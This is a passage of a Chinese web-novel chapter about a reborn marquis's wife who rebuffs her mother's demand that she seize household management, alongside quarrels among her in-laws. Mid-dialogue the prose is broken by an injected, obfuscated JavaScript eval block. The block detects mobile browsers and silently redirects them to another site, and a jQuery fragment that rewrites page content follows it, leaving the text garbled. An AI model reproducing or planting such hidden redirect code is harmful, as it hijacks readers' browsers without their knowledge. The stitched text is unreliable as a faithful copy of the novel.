一些场面话圆过去,不至于让所有人下不来台。今生她不会这样做,让这两个对自己有敌意的人自己闹去吧,她坐一旁看笑话便是。 裴明英握紧了拳。此刻她心里十分愤怒,既有对柳氏的,也有对邵婉淑的。邵婉淑那日的表现分明是打算将这匹锦缎送给她的,她还听说邵婉淑按照她的尺寸和喜欢的颜色做了一件衣裳,可没想到这衣裳竟然穿在了她自己身上,并未送给她。 即便心中愤怒,想要发作出来,但她还是克制住了,一双眼睛死死盯着邵婉淑,等着她的解释。 没想到邵婉淑竟一副云淡风轻的模样,什么都不解释不说,竟然还端茶喝了起来,仿佛这件事跟她没关系一般。 随着时间的推移,裴明英越发愤怒和尴尬,她站起身来,面红耳赤地斥责柳氏:“三嫂,你在胡说什么呢?我何时跟大嫂要过这匹布料?这可是贵妃娘娘送来的,长辈所赐,怎能给旁人?你连这些简单的规矩都不懂吗!” 平日里裴明英对柳氏的态度还算温和,一着急了就不管不顾了,对她没有一丝尊重。 柳氏顿时闹了个没脸。 姜老夫人脸上的笑浅了些,她淡淡瞥了一眼柳氏。 柳氏本想还嘴的,看到婆母警告的眼神,不敢再多言。 姜老夫人看了一眼邵婉淑,见她脸上没有不悦的神色,脸上始终带着浅浅的笑,放心了些。 大皇子虽是先皇后所出,但并不得宠,这些年一直被皇上外派打仗。二皇子贤能,朝中有不少文官支持,但皇上对他的态度一般,似是有些不喜。三皇子年纪虽小,但却是贤贵妃所出,很得圣宠。将来哪位皇子登基一切都不好说。 他们侯府向来不会站队,但也不能得罪宫里的贵妃娘娘。若是此事传出去了,对贵妃娘娘的名声也不好。 “婉淑,你三弟妹刚生了孩子,记性不太好,你莫要放在心上。”姜老夫人先安抚了邵婉淑。 这倒是令邵婉淑有些意外。裴明英毕竟是婆母亲生女儿,她原以为婆母即便不怪罪她,也不会先考虑她的感受。她顺势说道:“母亲多虑了,咱们都是一家人,我不会放在心上的。不过三弟妹以后说话行事还是要注意些,小心祸从口出,累及家人。” 柳氏被邵婉淑挤兑了几句,却不敢再反驳,只得憋屈地认下。 见她这样说,姜老夫人放心了,她转头看向了柳氏。柳氏这些日子越发过分了,看来那日给她的教训还不够。 “老三媳妇儿,哥儿还小,离不开人,你这几日就在院子里照顾哥儿吧。” 这话说的好听,实则是把柳氏禁足了。 柳氏这才害怕了,她深深地后悔自己多嘴说了那样的话。可邵婉淑今日打扮得实在是太出众了,眼角还带着几分媚态,昨晚侯爷又是在她房里过的,让她心里很不得劲儿,她就是忍不住想要针对她。 “母亲,我……” “散了吧。” 姜老夫人不再理会柳氏,朝着里间走去。 邵婉淑朝着姜老夫人福了福身,站起身来,看也不看柳氏,径直离开了。 11.第 11 章 邵婉淑刚回到韶华院,便听说侍郎府来人了,她脸一沉,朝着主屋走去。 来人是陆氏身边的香竹,见到邵婉淑,香竹语气里带着几分埋怨:“大姑娘,夫人听说您这些日子没去要管家权,很是不悦,让您务必三日内将管家权拿回手中。” 邵婉淑陪嫁的人都是母亲安排的,母亲会知道这件事,她一点都不奇怪。她既不想继续听从侍郎府的安排,也不想管家,于是直接说道:“你去跟母亲说,我办不到。” 香竹没料到邵婉淑会这样回答,怔了一下。她以为按照他们家大姑娘的性子一定会答应下来的。 “大姑娘,您不试试怎么知道办不到呢?” 邵婉淑看了香竹一眼,端起茶轻抿一口,没有说话。 香竹有些着急了,说道:“老爷得知此事很是生气,昨晚在夫人面前发了好大的脾气。” 邵婉淑继续喝茶不说话。 香竹:“老爷昨晚都没歇在正院,去了赵姨娘的院中,夫人哭了大半夜呢,您还是多体谅体谅夫人吧。” 邵婉淑觉得这话很是讽刺。母亲总是说一切都是为了她好,让她体谅他们,可他们却从未体谅过她。她想起前世母亲逼她认下莲娘肚子里的孩子时说过的话。 “你怎能如此善妒?” “这几年侯爷身边就你一个人本就不妥,你早就该为侯爷置办妾侍。” “你是当家主母,莲娘的孩子也是你的孩子。” …… 母亲是当家主母,父亲送来白绫时她岂会不知? 可见母亲是真的不在乎她的死活。 邵婉淑的心又冷了几分:“你是想说母亲善妒?” 香竹愣了一下。大姑娘这是怎么了,她怎么能说这样的话。夫人可是她的亲生母亲。她刚想说些什么,看着邵婉淑没什么表情的脸,心里一紧,噗通一声跪在了地上:“奴婢不是这个意思。” 这些话都是夫人教她说的。老爷的确对大姑娘很不满,也拿此事责备夫人,但夫人并未因为赵姨娘的事情哭。夫人让她这样说是怕大姑娘不用心拿管家权。 邵婉淑端起茶,轻抿一口,又放下。 “赵姨娘是母亲为父亲置办的,父亲去赵姨娘房里母亲又怎会哭呢,你莫要诋毁母亲的名声。” 香竹:“是,是奴婢说错话了。” 邵婉淑:“你回去告诉父亲和母亲,我如今是侯夫人,侯府的事我心中有数,就不用他们操心了。” 香竹感觉自己后背生了一身的冷汗,不敢再在邵婉淑面前造次。 阿桔送香竹出门。 虽已经是初夏,香竹出了门,风一吹,她感觉自己后背凉飕飕的。 她知道阿桔性子单纯,又是个炮仗脾气,她看向阿桔,试探道:“阿桔,大姑娘到底怎么了,怎么看起来跟从前不太一样了呢?” 阿桔的确是这样的性子,但香竹却忘记了阿桔最重要的一点是对邵婉淑忠心。 阿桔瞥了香竹一眼,道:“香竹,你不该再称大姑娘了,你应该称侯夫人。” 香竹蹙了蹙眉,阿桔是大姑娘身边的婢女,她是夫人身边的。阿桔从前一直对她毕恭毕敬的,叫她一声姐姐,如今竟然敢直呼她的姓名了。 阿桔从前的确不会如此,但并非是不敢,而是因为他们姑娘。今日瞧着姑娘对香竹的态度很是强硬,她自然也不再憋着。 香竹:“咱们都是一个府的,叫大姑娘不是显得亲近么?” 阿桔早就看香竹不顺眼了,香竹不过是个奴婢,刚刚竟然敢跟他们夫人大呼小叫,真是惯的。她可不似阿梨那般好脾气识大体,当下便冷了脸,道:“你什么身份,还敢跟侯夫人攀关系。” 香竹越发不悦。 阿桔停下脚步:“你认清自己的身份吧,以后没事儿少来侯府。” 要不是夫人让她送香竹,她才不来。说完,转身就走,竟是连送都不送了,将她交给了侯府的小丫鬟。 香竹气得不行,但是面对侯府的丫鬟,她不敢发脾气,只得忍着。 等回了侍郎府,香竹将此事跟陆氏说了,陆氏听后眉头皱了起来。女儿最近是越发不像话了,一点规矩都没有。上次女儿回府时她就觉得她态度有些奇怪,看来她的直觉没错。 香竹又道:“夫人,我听跟去侯府的人说大姑娘前些日子和辛二姑娘去了景山,俩人在那里住了好几日。” 听到辛卿卿的名字,陆氏眉头皱得更紧了。 “婉淑就是被她带坏了!” 香竹:“大姑娘那边怎么办?” 陆氏:“这事儿还是得跟老爷说一声。” 侍郎府那边阴云密布,邵婉淑心情却是不错,她让阿梨准备了一些花草,又从库房里拿出来几个好看的花瓶,在花厅里插花。 阿梨一直担心香竹的到来会影响夫人的心情,见她开始插花了,这才放心了。自从嫁入了侯府,夫人每日都是围着侯爷和老夫人转,再也没插过花了。 邵婉淑:“阿梨,你看看,这里放粉色的花好看,还是放黄色的好看?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931816|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿梨:“都好看。” 邵婉淑:“选一个。” 阿梨蹲下身子,认真看了看,道:“黄色的。” 邵婉淑笑了:“你是瞧着我今日穿了黄色的衣裳,所以觉得这个配吗?” 阿梨也笑了:“逃不过夫人的眼睛。” 邵婉淑一上午都在侍弄花草,感觉心情舒畅了不少。 接下来几日裴行舟没有回内宅,邵婉淑觉得少了许多尴尬。 她每日一早照旧去祥和院请安,丝毫不提管家一事。因为柳氏被禁足了,请安时倒是和谐了许多。 杜氏想着法子逗姜老夫人笑,裴明英在一旁陪着,裴温静垂头坐在一旁,邵婉淑也不说话。 裴行舟这几日去了军营,等他从军营回来已经是三日后了。 “这几日府中可有发生什么事?” 青云:“府里一切都好。” 裴行舟:“嗯。” 青云:“三日前陆夫人身边的大丫鬟香竹来了府中,去见了夫人。” 裴行舟脚步一顿,看向青云。 青云立即道:“侍郎府催促夫人从二夫人手中拿走管家权。” 这个答案在裴行舟意料之中。邵婉淑刚嫁过来侍郎府那边便催她管家了,后来虽然不了了之了,但他始终觉得侍郎府还会有下文。 “夫人做了什么?” 青云:“夫人这几日和从前一样,除了每日一早去给老夫人请安,其余时间都待在韶华院,并未跟老夫人提及管家一事。” 这倒是在裴行舟意料之外了。 他和邵婉淑成亲已有三个月,足够看清楚她的性格。他知道她很听邵侍郎的话,既如此,为何在被邵侍郎打了一巴掌后没有采取任何的行动。难道她还有别的打算? 裴行舟思索片刻,掉转脚步,欲朝着内宅走去。 青云看了一眼手中的公务。 裴行舟:“送去书房,我去去便回。” 青云:“是。” 夜深了,邵婉淑专心致志地看着手中的书。 她从小就喜欢看书,前世一直尽心服侍定南侯,处理侯府的事情,很少有时间看书。今生将这一切都放下了,倒是有时间看书了。只是看的过于入迷,忘了时辰。 这时,眼前突然投下了一片阴影。 邵婉淑抬眸看了过去,不期然地落入了一双漆黑的眼眸中。 看到来人,漂亮的眸子里添了几分疑惑。 裴行舟三日前刚来过,今日怎么又来了?